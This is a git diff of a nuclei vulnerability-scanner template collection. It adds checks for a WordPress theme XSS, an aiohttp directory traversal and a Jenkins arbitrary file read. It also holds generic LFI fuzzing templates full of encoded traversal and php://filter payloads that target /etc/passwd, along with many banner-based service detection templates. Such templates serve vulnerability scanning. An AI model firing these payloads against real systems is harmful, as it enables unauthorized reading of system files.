/dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-9830.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-9830 + +info: + name: > + Bard <= 2.216 - Reflected Cross-Site Scripting via add_query_arg Parameter + author: topscoder + severity: medium + description: > + The Bard theme for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 2.216. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/9aff1e5b-2f16-43d0-b75a-c07e59a9c15f?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-9830 + metadata: + fofa-query: "wp-content/themes/bard/" + google-query: inurl:"/wp-content/themes/bard/" + shodan-query: 'vuln:CVE-2024-9830' + tags: cve,wordpress,wp-theme,bard,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/themes/bard/style.css" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Version: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Version: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "bard" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.216') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/cve-2024-23334.yaml b/nuclei-templates/CVE-2024/cve-2024-23334.yaml new file mode 100644 index 0000000000..78575c8946 --- /dev/null +++ b/nuclei-templates/CVE-2024/cve-2024-23334.yaml @@ -0,0 +1,49 @@ +id: CVE-2024-23334 + +info: + name: aiohttp - Directory Traversal + author: DhiyaneshDk + severity: high + description: | + aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue. + reference: + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/ + - https://x.com/W01fh4cker/status/1762491210953060827?s=20 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-23334 + cwe-id: CWE-22 + epss-score: 0.00073 + epss-percentile: 0.29411 + cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: aiohttp + product: aiohttp + tags: cve,cve2024,aiohttp,lfi + +http: + - method: GET + path: + - '{{BaseURL}}/static/../../../../etc/passwd' + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: word + part: header + words: + - "aiohttp" + - "application/octet-stream" + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022022285e422fa347d671b03da02098bba372e799498b869d43b4581a4d494a4a4f02205d93e2c0aa8133a30dce9c899750a3eddda98459129c837c00b74facc65d91f2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/cve-2024-23897.yaml b/nuclei-templates/CVE-2024/cve-2024-23897.yaml new file mode 100644 index 0000000000..62a1aba442 --- /dev/null +++ b/nuclei-templates/CVE-2024/cve-2024-23897.yaml @@ -0,0 +1,56 @@ +id: CVE-2024-23897 + +info: + name: Jenkins < 2.441 - Arbitrary File Read + author: iamnoooob,rootxharsh,pdresearch + severity: high + description: | + Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system. + reference: + - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314 + - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/ + - https://github.com/Mr-xn/Penetration_Testing_POC + - https://github.com/forsaken0127/CVE-2024-23897 + - https://github.com/nomi-sec/PoC-in-GitHub + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-23897 + epss-score: 0.41536 + epss-percentile: 0.97188 + cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:* + metadata: + verified: true + max-request: 1 + vendor: jenkins + product: jenkins + shodan-query: "product:\"Jenkins\"" + tags: cve,cve2024,lfi,rce,jenkins +variables: + payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}" + +javascript: + - code: | + let m = require('nuclei/net'); + let name=(Host.includes(':') ? Host : Host+":80"); + let conn,conn2; + try { conn = m.OpenTLS('tcp', name) } catch { conn= m.Open('tcp', name)} + conn.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n'); + try { conn2 = m.OpenTLS('tcp', name) } catch { conn2= m.Open('tcp', name)} + conn2.Send('POST /cli?remoting=false HTTP/1.1\r\nHost:'+Host+'\r\nContent-type: application/octet-stream\r\nSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n'+Body) + resp = conn.RecvString(1000) + args: + Body: "{{payload}}" + Host: "{{Hostname}}" + + matchers: + - type: dsl + dsl: + - 'contains(response, "No such agent \"")' + + extractors: + - type: regex + group: 1 + regex: + - '\b([a-z_][a-z0-9_-]{0,31})\:x\:' +# digest: 4b0a00483046022100a22e0bf486c5362bd7b22a4d814691dcb9318a631e13e7cf7086dd922feb4dd4022100cfacc9f72ee0cf45347e0c8c97dc2b5c6f95028b6f5cc3a68a506f4d3d4c7964:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/Other/0xlfi2.yaml b/nuclei-templates/Other/0xlfi2.yaml index a1860993d6..db8a2f11fa 100644 --- a/nuclei-templates/Other/0xlfi2.yaml +++ b/nuclei-templates/Other/0xlfi2.yaml @@ -1,12 +1,14 @@ id: generic-linux-lfi - info: - name: Generic Linux based LFI Test + name: Generic Linux - Local File Inclusion author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley severity: high - description: Searches for /etc/passwd on passed URLs + description: Generic Linux is subject to local file Inclusion on searches for /etc/passwd on passed URLs. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: linux,lfi,generic - requests: - method: GET path: @@ -33,10 +35,11 @@ requests: - "{{BaseURL}}/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" - "{{BaseURL}}/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd" - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" - stop-at-first-match: true matchers: - type: regex regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/07/22 diff --git a/nuclei-templates/Other/0xlfifuzz1.yaml b/nuclei-templates/Other/0xlfifuzz1.yaml new file mode 100644 index 0000000000..9441661aa1 --- /dev/null +++ b/nuclei-templates/Other/0xlfifuzz1.yaml @@ -0,0 +1,40 @@ +id: linux-lfi-fuzzing + +info: + name: Linux based LFI Fuzzing + author: geeknik,unstabl3,pentest_swissky,sushantkamble,0xSmiley + severity: high + description: Fuzzes for /etc/passwd on passed URLs + tags: linux,lfi,fuzz + +requests: + - method: GET + path: + - "{{BaseURL}}/?q=../../../etc/passwd&s=../../../etc/passwd&search=../../../etc/passwd&id=&action=../../../etc/passwd&keyword=../../../etc/passwd&query=../../../etc/passwd&page=../../../etc/passwd&keywords=../../../etc/passwd&url=../../../etc/passwd&view=../../../etc/passwd&cat=../../../etc/passwd&name=../../../etc/passwd&key=../../../etc/passwd&p=../../../etc/passwd" + - "{{BaseURL}}/?q=../../../etc/passwd%00&s=../../../etc/passwd%00&search=../../../etc/passwd%00&id=../../../etc/passwd%00&action=../../../etc/passwd%00&keyword=../../../etc/passwd%00&query=../../../etc/passwd%00&page=../../../etc/passwd%00&keywords=../../../etc/passwd%00&url=../../../etc/passwd%00&view=../../../etc/passwd%00&cat=../../../etc/passwd%00&name=../../../etc/passwd%00&key=../../../etc/passwd%00&p=../../../etc/passwd%00" + - "{{BaseURL}}/?q=%252e%252e%252fetc%252fpasswd&s=%252e%252e%252fetc%252fpasswd&search=%252e%252e%252fetc%252fpasswd&id=%252e%252e%252fetc%252fpasswd&action=%252e%252e%252fetc%252fpasswd&keyword=%252e%252e%252fetc%252fpasswd&query=%252e%252e%252fetc%252fpasswd&page=%252e%252e%252fetc%252fpasswd&keywords=%252e%252e%252fetc%252fpasswd&url=%252e%252e%252fetc%252fpasswd&view=%252e%252e%252fetc%252fpasswd&cat=%252e%252e%252fetc%252fpasswd&name=%252e%252e%252fetc%252fpasswd&key=%252e%252e%252fetc%252fpasswd&p=%252e%252e%252fetc%252fpasswd" + - "{{BaseURL}}/?q=%252e%252e%252fetc%252fpasswd%00&s=%252e%252e%252fetc%252fpasswd%00&search=%252e%252e%252fetc%252fpasswd%00&id=%252e%252e%252fetc%252fpasswd%00&action=%252e%252e%252fetc%252fpasswd%00&keyword=%252e%252e%252fetc%252fpasswd%00&query=%252e%252e%252fetc%252fpasswd%00&page=%252e%252e%252fetc%252fpasswd%00&keywords=%252e%252e%252fetc%252fpasswd%00&url=%252e%252e%252fetc%252fpasswd%00&view=%252e%252e%252fetc%252fpasswd%00&cat=%252e%252e%252fetc%252fpasswd%00&name=%252e%252e%252fetc%252fpasswd%00&key=%252e%252e%252fetc%252fpasswd%00&p=%252e%252e%252fetc%252fpasswd%00" + - "{{BaseURL}}/?q=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&s=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&search=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&id=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&action=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keyword=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&query=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&keywords=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&url=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&view=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&cat=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&name=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&key=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&p=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" + - "{{BaseURL}}/?q=....//....//etc/passwd&s=....//....//etc/passwd&search=....//....//etc/passwd&id=....//....//etc/passwd&action=....//....//etc/passwd&keyword=....//....//etc/passwd&query=....//....//etc/passwd&page=....//....//etc/passwd&keywords=....//....//etc/passwd&url=....//....//etc/passwd&view=....//....//etc/passwd&cat=....//....//etc/passwd&name=....//....//etc/passwd&key=....//....//etc/passwd&p=....//....//etc/passwd" + - "{{BaseURL}}/?q=..///////..////..//////etc/passwd&s=..///////..////..//////etc/passwd&search=..///////..////..//////etc/passwd&id=..///////..////..//////etc/passwd&action=..///////..////..//////etc/passwd&keyword=..///////..////..//////etc/passwd&query=..///////..////..//////etc/passwd&page=..///////..////..//////etc/passwd&keywords=..///////..////..//////etc/passwd&url=..///////..////..//////etc/passwd&view=..///////..////..//////etc/passwd&cat=..///////..////..//////etc/passwd&name=..///////..////..//////etc/passwd&key=..///////..////..//////etc/passwd&p=..///////..////..//////etc/passwd" + - "{{BaseURL}}/?q=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&s=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&search=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&id=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&action=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keyword=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&query=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&keywords=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&url=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&view=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&cat=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&name=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&key=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&p=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd" + - "{{BaseURL}}/?q=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&s=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&search=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&id=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&action=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keyword=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&query=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&keywords=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&url=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&view=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&cat=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&name=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&key=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd&p=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd" + - "{{BaseURL}}/?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" + - "{{BaseURL}}/?redirect=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" + - "{{BaseURL}}/?page=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" + - "{{BaseURL}}/?q=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/image?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/image?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/file?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/file?name=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" + - "{{BaseURL}}/image?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd" + - "{{BaseURL}}/image?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd" + - "{{BaseURL}}/file?filename=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd" + - "{{BaseURL}}/file?name=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd" + - "{{BaseURL}}/?q=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc/passwd" + stop-at-first-match: true + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/Other/1000302071.yaml b/nuclei-templates/Other/1000302071.yaml new file mode 100644 index 0000000000..bb0594b865 --- /dev/null +++ b/nuclei-templates/Other/1000302071.yaml @@ -0,0 +1,20 @@ +id: directconnect +info: + name: Shadows DirectConnect hub + author: nmap,cn-kali-team + tags: detect,tech,directconnect,service + severity: info + metadata: + info: Banned for $1 minutes + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: directconnect + type: regex + regex: + - You are being banned for (\d+) minutes \(by SDCH Anti Hammering\)\.\| diff --git a/nuclei-templates/Other/1013877238.yaml b/nuclei-templates/Other/1013877238.yaml deleted file mode 100644 index 19a453a3f7..0000000000 --- a/nuclei-templates/Other/1013877238.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: freevcs -info: - name: FreeVCS - author: nmap,cn-kali-team - tags: detect,tech,freevcs,service - severity: info - metadata: - operating_system: Windows - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: freevcs - type: regex - regex: - - ^Welcome to FreeVCS Test NT Service\r\n diff --git a/nuclei-templates/Other/1014176159.yaml b/nuclei-templates/Other/1014176159.yaml new file mode 100644 index 0000000000..4ede8a4b92 --- /dev/null +++ b/nuclei-templates/Other/1014176159.yaml @@ -0,0 +1,20 @@ +id: daytime +info: + name: Microsoft Windows daytime + author: nmap,cn-kali-team + tags: detect,tech,daytime,service + severity: info + metadata: + operating_system: Windows + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: daytime + type: regex + regex: + - ^[A-Z][a-z]+day, [A-Z][a-z]+ \d{1,2}, (?:19|20)\d\d \d{1,2}:\d\d:\d\d\n\0$ diff --git a/nuclei-templates/Other/1017313682.yaml b/nuclei-templates/Other/1017313682.yaml deleted file mode 100644 index ec8a510f43..0000000000 --- a/nuclei-templates/Other/1017313682.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: minebuilder -info: - name: Minebuilder game server - author: nmap,cn-kali-team - tags: detect,tech,minebuilder,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: minebuilder - type: regex - regex: - - ^\0\0\0\x1a$ diff --git a/nuclei-templates/Other/1021548475.yaml b/nuclei-templates/Other/1021548475.yaml deleted file mode 100644 index 40009bc806..0000000000 --- a/nuclei-templates/Other/1021548475.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: loginserver -info: - name: L2J loginserver - author: nmap,cn-kali-team - tags: detect,tech,loginserver,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: loginserver - type: regex - regex: - - (?i)^\x9b\0\0\xfd\x8a\"\0Zx\0.{129}\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$ diff --git a/nuclei-templates/Other/1022148384.yaml b/nuclei-templates/Other/1022148384.yaml new file mode 100644 index 0000000000..63d5c8333f --- /dev/null +++ b/nuclei-templates/Other/1022148384.yaml @@ -0,0 +1,19 @@ +id: mu-connect +info: + name: Webzen MU Online role-playing game connect + author: nmap,cn-kali-team + tags: detect,tech,mu-connect,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: mu-connect + type: regex + regex: + - ^\xc1\x04\x00\x01$ diff --git a/nuclei-templates/Other/1046994046.yaml b/nuclei-templates/Other/1046994046.yaml new file mode 100644 index 0000000000..5411dd498c --- /dev/null +++ b/nuclei-templates/Other/1046994046.yaml @@ -0,0 +1,24 @@ +id: avg +info: + name: AVG daemon mode + author: nmap,cn-kali-team + tags: detect,tech,avg,service + severity: info + metadata: + info: Virus DB $2 + product: anti-virus + rarity: 0 + vendor: avg + verified: true + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: avg + type: regex + regex: + - '^220-AVG daemon mode scanner \((?:AVG|SMTP)\)\r\n220-Program version ([\w._-]+)\r\n220-Virus Database: Version ([\w._/ -]+)\r\n220 Ready\r\n' diff --git a/nuclei-templates/Other/1049614291.yaml b/nuclei-templates/Other/1049614291.yaml new file mode 100644 index 0000000000..926fa5deb8 --- /dev/null +++ b/nuclei-templates/Other/1049614291.yaml @@ -0,0 +1,20 @@ +id: ldap +info: + name: Nortel CallPilot LDAP + author: nmap,cn-kali-team + tags: detect,tech,ldap,service + severity: info + metadata: + rarity: 6 +tcp: +- name: ldapbind-req + inputs: + - data: \x30\x0c\x02\x01\x01\x60\x07\x02\x01\x02\x04\0\x80\0 + host: + - '{{Hostname}}' + port: 256,257,389,390,1702,3268,3892,4035 + extractors: + - name: ldap + type: regex + regex: + - ^0\x1a\x02\x01\x01a\x15\n\x01\0\x04\0\x04\x0eanonymous bind diff --git a/nuclei-templates/Other/1053250836.yaml b/nuclei-templates/Other/1053250836.yaml new file mode 100644 index 0000000000..c37077aa0b --- /dev/null +++ b/nuclei-templates/Other/1053250836.yaml @@ -0,0 +1,24 @@ +id: mongodb +info: + name: MongoDB + author: nmap,cn-kali-team + tags: detect,tech,mongodb,service + severity: info + metadata: + info: 'not authorized; database: $1' + product: mongodb + rarity: 8 + vendor: mongodb + verified: true +tcp: +- name: mongodb + inputs: + - data: \x41\0\0\0\x3a\x30\0\0\xff\xff\xff\xff\xd4\x07\0\0\0\0\0\0test.$cmd\0\0\0\0\0\xff\xff\xff\xff\x1b\0\0\0\x01serverStatus\0\0\0\0\0\0\0\xf0\x3f\0 + host: + - '{{Hostname}}' + port: 9001,27017,49153 + extractors: + - name: mongodb + type: regex + regex: + - '(?i)^.\0\0\0....:0\0\0\x01\0\0\0\x08\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\0\0.\0\0\0\x01ok\0\0\0\0\0\0\0\0\0\x02errmsg\0.\0\0\0not authorized on (\S+) to execute command \{ serverStatus: 1\.0 \}\0\x10code\0\r\0\0\0' diff --git a/nuclei-templates/Other/1059851355.yaml b/nuclei-templates/Other/1059851355.yaml new file mode 100644 index 0000000000..d422f99d86 --- /dev/null +++ b/nuclei-templates/Other/1059851355.yaml @@ -0,0 +1,21 @@ +id: freevcs +info: + name: FreeVCS + author: nmap,cn-kali-team + tags: detect,tech,freevcs,service + severity: info + metadata: + info: DBISAM + operating_system: Windows + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: freevcs + type: regex + regex: + - ^Welcome to FreeVCS DBISAM NT Service\r\n diff --git a/nuclei-templates/Other/1069194709.yaml b/nuclei-templates/Other/1069194709.yaml new file mode 100644 index 0000000000..b2d6438938 --- /dev/null +++ b/nuclei-templates/Other/1069194709.yaml @@ -0,0 +1,28 @@ +id: upnp +info: + name: Platinum unpnd + author: nmap,cn-kali-team + tags: detect,tech,upnp,service + severity: info + metadata: + fallback: + - get-request + info: 'arch: $1; UPnP $2; DLNADOC $3' + operating_system: Linux + product: platinum + rarity: 5 + vendor: plutinosoft + verified: true + version: $4 +tcp: +- name: sipoptions + inputs: + - data: 'OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: ;tag=root\r\nTo: \r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: \r\nAccept: application/sdp\r\n\r\n' + host: + - '{{Hostname}}' + port: 406,5060,8081,31337 + extractors: + - name: upnp + type: regex + regex: + - '^HTTP/1\.1 404 Not Found\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nServer: Linux/(\w+) UPnP/([\d.]+) DLNADOC/([\d.]+) Platinum/([\d.]+)\r\n\r\n' diff --git a/nuclei-templates/Other/1080568163.yaml b/nuclei-templates/Other/1080568163.yaml deleted file mode 100644 index 61032c720c..0000000000 --- a/nuclei-templates/Other/1080568163.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: vtun -info: - name: Vtun Virtual Tunnel - author: nmap,cn-kali-team - tags: detect,tech,vtun,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: vtun - type: regex - regex: - - ^VTUN server ver +(\d[-.\w /]+)\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 diff --git a/nuclei-templates/Other/1086798763.yaml b/nuclei-templates/Other/1086798763.yaml new file mode 100644 index 0000000000..50fc2f87c0 --- /dev/null +++ b/nuclei-templates/Other/1086798763.yaml @@ -0,0 +1,23 @@ +id: serialnumber +info: + name: Mac OS X Server serialnumberd + author: nmap,cn-kali-team + tags: detect,tech,serialnumber,service + severity: info + metadata: + hostname: $1 + info: 'numbers: $2 $3 $4 $5' + operating_system: Mac OS X + rarity: 8 +tcp: +- name: serialnumberd + inputs: + - data: 'SNQUERY: 127.0.0.1:AAAAAA:xsvr' + host: + - '{{Hostname}}' + port: '626' + extractors: + - name: serialnumber + type: regex + regex: + - ^SNRESPS:([\w._-]+):(0x[0-9A-F]{40}):xsvr:(0x[0-9A-F]{40}):(0x[0-9a-f]{8}):(0x[0-9A-F]{40}):[\w._-]+\0$ diff --git a/nuclei-templates/Other/1099901347.yaml b/nuclei-templates/Other/1099901347.yaml index 02bc979ab3..4de8d23c6a 100644 --- a/nuclei-templates/Other/1099901347.yaml +++ b/nuclei-templates/Other/1099901347.yaml @@ -1,13 +1,12 @@ id: ident info: - name: Nullidentd + name: FreeBSD authd author: nmap,cn-kali-team tags: detect,tech,ident,service severity: info metadata: - info: broken + operating_system: FreeBSD rarity: 0 - version: $1 tcp: - name: 'null' inputs: @@ -18,4 +17,4 @@ tcp: - name: ident type: regex regex: - - '^nullidentd -- version (\d[-.\w]+)\nCopyright ' + - '^\d+, \d+ : USERID : FreeBSD : \[x\]-\d+\r\n' diff --git a/nuclei-templates/Other/1103701343.yaml b/nuclei-templates/Other/1103701343.yaml new file mode 100644 index 0000000000..71429e41ab --- /dev/null +++ b/nuclei-templates/Other/1103701343.yaml @@ -0,0 +1,21 @@ +id: finger +info: + name: Cisco fingerd + author: nmap,cn-kali-team + tags: detect,tech,finger,service + severity: info + metadata: + device_type: router + operating_system: IOS + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: finger + type: regex + regex: + - \r\n {4}Line {5,8}User {6,8}Host\(s\) {13,18}Idle +Location\r\n diff --git a/nuclei-templates/Other/1131012829.yaml b/nuclei-templates/Other/1131012829.yaml new file mode 100644 index 0000000000..37c69a0852 --- /dev/null +++ b/nuclei-templates/Other/1131012829.yaml @@ -0,0 +1,24 @@ +id: varnish-cli +info: + name: Varnish Cache CLI + author: nmap,cn-kali-team + tags: detect,tech,varnish-cli,service + severity: info + metadata: + operating_system: $1 $2 + product: varnish + rarity: 0 + vendor: varnish-cache + verified: true + version: $3 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: varnish-cli + type: regex + regex: + - ^200 \d+ +\n-----------------------------\nVarnish Cache CLI 1.0\n-----------------------------\n([^,]+),([^,]+),[^\n]*\nvarnish-([\w._-]+) revision [0-9a-f]+\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n\n diff --git a/nuclei-templates/Other/1149349278.yaml b/nuclei-templates/Other/1149349278.yaml 